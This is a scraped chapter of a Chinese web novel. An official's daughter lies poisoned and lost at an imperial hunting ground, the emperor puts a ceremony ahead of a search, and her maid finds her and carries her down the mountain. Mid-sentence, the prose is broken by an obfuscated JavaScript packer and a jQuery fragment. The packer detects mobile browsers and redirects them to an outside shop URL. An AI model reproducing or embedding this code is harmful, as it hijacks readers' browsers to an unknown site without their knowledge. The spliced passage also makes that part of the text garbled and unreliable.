文趣网 > 都市小说 > 戏精攻略:将军,借过一下 > 18. 自古薄情帝王心
    眼下一分一秒都关乎生死,容不得半刻耽误。

    天边将亮未亮,浓雾茫茫迷得人看不清前路。宋思稷心焦如焚,一路直朝主帐走去。

    “微臣有急事禀奏,劳烦公公速速通报。”

    守门太监面露为难,压低了声劝:“宋大人,此刻尚是五更,陛下才刚起身梳洗,您有何事不妨稍等片刻。”

    帐下人却不肯离去,已是双膝一屈,直直跪下。

    见他这般失态,太监也左右为难。

    恰逢永宁前来问安,远远便开口道:“宋大人这是作甚?”

    “微臣有急事需要禀奏陛下。”他顿了顿,隐忍不言。

    瞧着他急切模样,永宁语带薄嗔:“既是急事,公公怎能不通传一声?大人便随我一道进来吧。”

    “臣谢过公主殿下!”

    他重重叩首谢恩,起身紧随永宁进了主帐。

    天子端坐其上,见永宁身旁跟着宋思稷,眉头一蹙:“何事?”

    身后人忙下跪行礼,调子凑不成拍:“陛下,小女在围场走失,此刻生死未卜。臣斗胆恳请陛下,派心腹侍卫入山搜寻。”

    天子面色不露情绪,望向一旁永宁:“公主刚至,可曾在外瞧见什么动静?”

    永宁会意上前一步,语气沉稳得体:“回皇兄,臣妹来时只见雾重林深,并未瞧见任何异常。”

    她看了眼伏跪之人,又继续说:“如今祭祀大典在即,仪仗、侍卫皆已整肃,只待时辰一到便可启程回京。此刻骤然调兵入山,非但惊扰军心,更恐耽误吉时,于大典不利。”

    天子点点头,看向宋思稷,语气听不出喜怒:“宋卿,朕知你为人父心切。但国之大事,在祀与戎,今日吉时已定,万不能乱了章法。”

    稍顿,他缓了半分,却依旧没有松口:“围场本就有守卫,朕令留守之人继续巡查便是。你先退下,待大典礼毕,回京之后再作处置。”

    闻听此言,宋思稷急声喊道:“陛下!”

    他还想再劝,却被永宁截下:“宋大人,此事皇兄已有安排。吉时不等人,若因你一己之私误了祭天大礼,后果不是你宋家所能承担的。大人还是先回营等候消息吧。”

    天子挥了挥手,顺势沉声道:“退下。”

    短短二字,再无任何商量余地。

    ——

    五更天,宋杳终于从土堆里挣扎着爬出来。

    天边擦亮,夜色将褪未褪,远处山峰还埋没在黑影中。

    浓雾化作湿凉水汽覆在她的身上,冷汗混着泥土,不重却也压得她微微佝偻。

    肺里火辣辣地疼,胸口像压着块巨石,拼命喘气也吸不饱,越喘越慌。

    虽有衣裳护面,仍免不了部分泥土落入口鼻。她很想拭去这些泥,但也只是想着,在棺里挣扎耗光了她所有力气,此刻连抬手都费劲。

    她半眯着眼,任由那点子微弱的光线刺着她,恍惚间好像有什么冲净了那些泥,是泪。

    夹着雾气的风是寒的,不似方才那一点暖意,一阵阵刮来,吹得她直恶心想吐。

    指头微微发麻,麻意先是在指尖,然后到指节,最后通过掌心蹿向四肢。

    “她”感觉自己还在往前走,可回过头,身子却牢牢扎在身后泥地里。

    “砰——”

    “她”看着自己轰然倒下。

    原来毒性开始侵蚀意识了。

    怎么回事?快起来,还有人在等你回去。

    ——宋杳...

    谁?谁在唤她?

    ——你要去哪?

    要去哪...

    ——你本就不是这个时代的人。

    是啊,她不是这个时代的人,她该去哪?还能去哪?

    “北疆。”

    不知从哪里跳出来两个字,突兀地砸进“她”浑噩的意识里。

    北疆…

    “她”从未去过,心底像是被什么尖锐东西狠狠扎了一下,痛得倒吸一口冷气。

    毒性还在反复拉扯着她的意识,可那两个字却愈发清晰,紧紧扣在脑海深处,挥之不去。

    那就往北走吧。

    “她”麻木地往北飘着,地上的人却哭得撕心裂肺,瞧着实在不忍,“她”停下脚步劝:“别再往前爬了,你这样会没命的!”

    可地上人置若罔闻,只固执地朝着那个方向爬。

    她一丝力气也没有了,只能借指甲抠进地里带起的一点力量,缓慢往前蠕动。

    北疆,想来就是那背阴的方向,她没弄错,看,她还是清醒的。

    她已经分不清脸上究竟是血是泪还是汗。

    如果是泪,这些泪够不够渗进这土里,汇入江河,化作云雨。

    周而复始。

    会不会也在某个雨天,淋湿那人的眼睛?

    那人?

    是谁。

    她开始有些吃力地阖上眼皮,太重了,闭上就再也不想睁开。

    耳畔有风声有鸟鸣,还有日出东方淋下的一点暖意,可她处在背阴的地方,无法体会了。

    霜降,发现她不在了吗?

    爹爹,来找她了吗?

    槐安,回来了吗?

    媚堂姐姐还没教她招式,裴公子有为江南那些农户鸣不平吗?

    她还想着,可再也想不动了,像生了锈的钝刀,怎么劈也下不去力。

    她累了。

    ——

    宋思稷回到营帐时,天色刚蒙蒙亮,营中灯火连绵,大军早已整装待发。

    经过一夜休整,围场大营再无昨日狩猎时的喧嚣沸腾,只处处透着归朝前的肃穆。

    人人都在等着圣驾起行,等着拔营回京的那一声旨令,仿佛多停留一刻,都是对天地宗庙的怠慢。

    只有一人,孤寂地走在这浩荡人流之外。

    康靖已历五十五载,宋思稷为朝堂奔走,已是整整三十年。

    皇商名头听着光鲜,实则半生都在夹缝里行走,步步如履薄冰。

    朝廷缺粮草,他连夜辗转调度。边关缺军需布匹,他不惜押上全部家产。宫中之采买、宗庙之祭品、围场之供给,桩桩件件,皆是他呕心沥血兜底办妥。

    这些世家勋贵,面上对他客气,不过是忌惮他握着皇家采买的命脉,可眼里那点轻贱,从来都藏不住。

    重农抑商的规矩刻在骨血里,商贾出身,便是原罪。

    他再银钱通天,落在世家眼里,也不过是个满身铜臭的下人。明里碍于权势不敢动他,暗地里,就总把算计落在他唯一的女儿身上。

    心头泛起无尽自嘲。

    他算什么称职父亲?连女

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585278|204805||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    儿安稳都护不住,如今更是眼睁睁看着她失踪山林,生死未卜。

    半生忠心奉上,原以为总能换几分情面庇佑。

    到头来,不过一句大典为重、吉时不可误,便轻飘飘抹掉他女儿的性命安危。

    御帐方向隐隐传来礼乐前奏,文武百官皆身着朝服,簇拥向前,唯有他逆着人流,独自往后走去。

    ——

    林间晨雾散尽,天地间一片清明。

    视线越是透亮,霜降心底反倒越慌。山野辽阔,四下一览无余,若是小姐安然无恙,早该现身了。

    山脚隐约传来车马隆隆,浩荡大军正拔营启程,预备班师回京。

    她心里没底,不知老爷有没有求动人手入山搜寻,只能咬着牙,抱着树干往高处艰难攀爬。这是最后的地方,再不见小姐,就只能往外围寻去。

    雾是散了,可山林泡一夜潮气,泥土湿滑。那些青石上又裹满苔藓,霜降一心寻人,一手没抓稳,踩着石块就摔下去,手肘磕得生疼。

    她咬着牙,再往上攀,也不知道摔多少回,才登上那处小高坡。

    这高坡地势隐晦,可爬上去后才发现一片宽阔,若不是特意寻到此处,想来一般人发现不了。

    霜降撑着膝大口换气,视线在平地上慌乱扫动着,忽然,有什么东西一下跳进她眼底。

    坡下背阴处的草丛里,蜷着一道单薄的身影,衣裳污得模糊,一动不动地伏在地上,像截被风雨打落的枯枝。

    是宋杳。

    “小姐!”

    霜降几乎是连滚带爬地扑过去,指尖发抖地拨开覆在她脸上的乱发与草屑,眼泪成串成串地掉下来。

    宋杳趴在地上狼狈不堪,手还半维持着朝前的动作,像是在抓什么。

    整个人从头到脚都被泥血覆盖,浑身没一处完整的地方。

    衣领歪斜地挂着,半边浸成泥黄色,另外半边是大片洇开的暗红。衣袖被撕开道口子,露出一截小臂,上面血痕还没干,混着泥就往下淌。

    霜降骨颤肉惊地将她翻过身,生怕碰疼她。

    她哽咽地扯开自己里衣,用仅剩的干净布料替小姐擦拭满脸泥泞。可陈旧血渍早已凝成硬痂,死死黏在皮肉上,怎么也拭不干净。

    迟迟等不到老爷带人来寻,她不敢再耗下去,咬牙扶起宋杳,费力架到自己背上。

    宋杳双手无力耷拉垂下,十根指甲几乎全数劈裂,指尖的肉翻着白边,缝里嵌满黑泥和暗红色的木屑。

    霜降忍着心痛将她的手臂往肩上拢了拢,弯下腰,稳稳将她背起。

    泪水模糊视线,顺着脸颊一滴滴砸在脚下的山路上,她顾不上去擦,只是深一脚浅一脚地往山下走去。

    上山已是不易,下山更是步步煎熬。

    往日虽跟着姑娘习练筋骨,心底却总存着几分偷懒懈怠。此刻她双腿打着颤往坡下去,泥地湿,摔着她没事,可身后人再经不起折腾。

    这坡滑,上山时便领教过,眼下更不敢站直,只能躬起身子,勉强腾出一只手拽住一旁的荆条,死死不放。

    每走几步便要滑一下,每滑一下手中握力便要加三分,荆条锋利划开她的皮肉,也不敢松手。

    有时实在稳不住,她索性侧过身子脸贴着地面滑下去,哪怕磨得身上发烫也不敢停。